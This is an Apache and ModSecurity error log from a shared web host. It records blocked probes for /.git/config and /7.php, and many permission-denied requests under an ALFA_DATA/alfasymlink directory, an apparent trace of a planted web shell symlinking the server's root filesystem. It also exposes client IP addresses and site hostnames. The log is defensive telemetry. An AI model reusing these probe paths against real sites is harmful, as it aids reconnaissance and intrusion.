[Sat Oct 24 06:27:39.089497 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.67.43.170:31096] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGwSwRuPA-FjBma7IBwAAAAI"]
[Sat Oct 24 06:27:39.089703 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.67.43.170:31096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGwSwRuPA-FjBma7IBwAAAAI"]
[Sat Oct 24 06:27:39.090004 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.67.43.170:31096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGwSwRuPA-FjBma7IBwAAAAI"]
[Sat Oct 24 06:27:39.122384 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.67.43.170:31112] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGzOT1ZsOoHahaDY-zQAAAAY"]
[Sat Oct 24 06:27:39.122651 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.67.43.170:31112] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGzOT1ZsOoHahaDY-zQAAAAY"]
[Sat Oct 24 06:27:39.122876 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.67.43.170:31112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGzOT1ZsOoHahaDY-zQAAAAY"]
[Sat Oct 24 06:27:39.123181 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.67.43.170:31112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGzOT1ZsOoHahaDY-zQAAAAY"]
[Sat Oct 24 06:27:42.418037 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 98.83.10.183:25816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:52.665794 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 185.191.171.2:64016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:54.734041 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.206:28284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/red_zone
[Sat Oct 24 06:27:58.439295 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.3.155.146:59744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:28:06.899843 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.222.190.107:15999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:28:10.576762 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.231.45.47:44059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:28:11.461689 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.12:18494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/object_size
[Sat Oct 24 06:28:26.494758 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.213.240.226:11414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:29:10.478564 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.209.174.110:22522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:29:14.560953 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 184.72.84.154:63424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/rom
[Sat Oct 24 06:29:22.466521 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.85.109.140:55092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:29:38.500872 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 184.73.167.217:14232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:29:46.489629 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.0.63.151:14253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:29:51.377018 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.162.69.192:46825] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:29:58.504073 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.71.203.206:32813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:10.736570 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 107.20.25.33:23144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:18.525546 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.71.46.142:48197] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:22.587944 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.221.203.24:3126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:27.008224 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.22.64.232:52514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:29.123066 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 185.191.171.8:49982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/total_objects
[Sat Oct 24 06:30:35.914912 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.214.124.6:21376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:38.525323 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.89.170.186:18270] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:42.504157 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 100.29.107.38:56711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 06:30:44.492580 2026] [core:crit] [pid 2607843:tid 2607843] (13)Permission denied: [client 45.79.181.106:19004] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:30:47.699914 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.238.45.183:29364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:59.044080 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 85.208.96.210:31438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:30:59.057740 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.231.45.47:8849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:06.631892 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.86.59.155:9996] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:10.694746 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.212.232.231:24975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:14.560937 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.144.185.255:12933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:19.665518 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.105.234:26001] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:23.028527 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 18.232.36.1:65154] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:25.345494 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.1:21902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/align
[Sat Oct 24 06:31:26.779478 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.215.77.19:57045] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:30.648471 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.70.123.241:16898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:35.141140 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.196.237.236:44626] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:54.756244 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.234.197.175:60263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:31:58.794959 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.223.232.55:9163] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:02.852433 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.236.41.241:37649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:03.042740 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 185.191.171.3:33422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/slab_size
[Sat Oct 24 06:32:07.169431 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 85.208.96.212:15200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/cpu_partial
[Sat Oct 24 06:32:07.169985 2026] [security2:error] [pid 2608663:tid 2608663] [client 85.208.96.212:15200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/cpu_partial"] [unique_id "atyJJzOT1ZsOoHahaDY-0AAAAAY"]
[Sat Oct 24 06:32:07.170038 2026] [security2:error] [pid 2608663:tid 2608663] [client 85.208.96.212:15200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/cpu_partial"] [unique_id "atyJJzOT1ZsOoHahaDY-0AAAAAY"]
[Sat Oct 24 06:32:22.696548 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.194.14.255:60487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:34.781893 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.93.253.174:15661] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:39.654201 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.6:11696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/partial
[Sat Oct 24 06:32:42.599521 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.205.141.124:26883] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:46.837466 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 54.156.248.117:37674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/resource0
[Sat Oct 24 06:32:50.781081 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.45.77.169:49835] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:53.069342 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 85.208.96.194:22168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:32:54.867655 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.3.26.180:7384] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:03.096918 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.235.239.240:6372] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:07.743386 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 50.16.216.166:60998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:10.627786 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.89.170.186:31624] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:18.873054 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.4.229.9:61933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:22.917076 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.208.223.68:19358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:30.700891 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.223.232.55:43817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:42.646849 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.72.84.154:53374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:46.640249 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.209.174.110:61987] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:51.381422 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.239.197.197:22440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:54.657612 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.235.191.179:9479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:33:58.679265 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.202.52.82:64238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:02.635591 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 23.21.175.228:30543] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:06.886220 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.84.169.196:18304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:14.900405 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.204.89.56:26031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:18.883771 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.22.64.232:14124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:22.874497 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.212.219.113:13997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:26.307133 2026] [security2:error] [pid 2608810:tid 2608810] [client 20.92.72.133:50591] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/7.php"] [unique_id "atyJsqVWPMRLkHgZYZD6NgAAABU"]
[Sat Oct 24 06:34:26.307195 2026] [security2:error] [pid 2608810:tid 2608810] [client 20.92.72.133:50591] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/7.php"] [unique_id "atyJsqVWPMRLkHgZYZD6NgAAABU"]
[Sat Oct 24 06:34:30.757016 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.230.224.6:30907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:42.856728 2026] [authz_core:error] [pid 2608663:tid 2608663] [client 207.90.244.14:53268] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:34:46.958286 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.235.172.108:13152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:50.727264 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.215.59.93:34371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:34:58.862122 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.87.62.248:25567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:35:22.806835 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.205.113.104:35806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:35:26.948118 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.93.253.174:48216] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:35:34.803383 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.235.158.19:19709] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:35:43.375924 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.147.238.89:23389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:35:54.624072 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 107.20.181.148:62198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/driver/00:01/subsystem/uevent
[Sat Oct 24 06:35:58.969956 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 23.23.103.31:1062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/unbind
[Sat Oct 24 06:36:07.071914 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.22.64.232:50584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:36:09.658001 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.204:46392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/shrink
[Sat Oct 24 06:36:10.642069 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.94.157.25:2794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:36:10.642278 2026] [security2:error] [pid 2608663:tid 2608663] [client 3.94.157.25:2794] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/mem/random/subsystem/urandom/subsystem/zero/power/runtime_active_time"] [unique_id "atyKGjOT1ZsOoHahaDY-2gAAAAY"]
[Sat Oct 24 06:36:10.642312 2026] [security2:error] [pid 2608663:tid 2608663] [client 3.94.157.25:2794] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/mem/random/subsystem/urandom/subsystem/zero/power/runtime_active_time"] [unique_id "atyKGjOT1ZsOoHahaDY-2gAAAAY"]
[Sat Oct 24 06:36:26.713666 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.213.240.226:41036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:36:34.391388 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.200.58.199:41156] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:36:42.309226 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 50.19.79.213:9104] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:36:46.225242 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.235.81.246:58947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:06.730043 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.3.156.186:53714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:10.498743 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 52.3.156.186:48411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0e/subsystem/uevent
[Sat Oct 24 06:37:14.197254 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.235.158.162:49140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:18.298080 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 50.19.79.213:35344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:22.268966 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.205.163.103:4012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:30.180815 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.204.37.237:6954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:38.185378 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 34.225.87.80:24029] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Sat Oct 24 06:37:42.330624 2026] [ssl:error] [pid 2608810:tid 2608810] (5)Input/output error: [client 52.44.148.203:14644] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:54.287263 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 35.169.102.85:14385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:37:58.204551 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.224.132.215:51213] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:38:14.170118 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.94.157.25:2253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:38:50.157397 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.195:54346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/partial
[Sat Oct 24 06:38:50.278141 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.235.191.179:24253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:38:54.152481 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 35.174.253.85:10339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:02.220469 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.226.89.140:16152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:22.343798 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 23.21.179.27:55064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:26.425325 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.207:22892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-4k/remote_node_defrag_ratio
[Sat Oct 24 06:39:26.458530 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 23.20.178.124:16478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/ac/uevent
[Sat Oct 24 06:39:30.247012 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.196.114.170:59591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:34.179883 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.227.234.246:50509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:38.272574 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 34.199.252.22:55285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/remove_id
[Sat Oct 24 06:39:46.152648 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.70.123.241:23694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:54.188021 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.231.45.47:34078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:58.389725 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.226.89.140:29033] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:39:58.438243 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 185.191.171.19:27800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/objects
[Sat Oct 24 06:40:02.368526 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.234.200.207:10369] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:40:10.686915 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.235.191.179:57333] AH02013: coalesce failed to read from data bucket
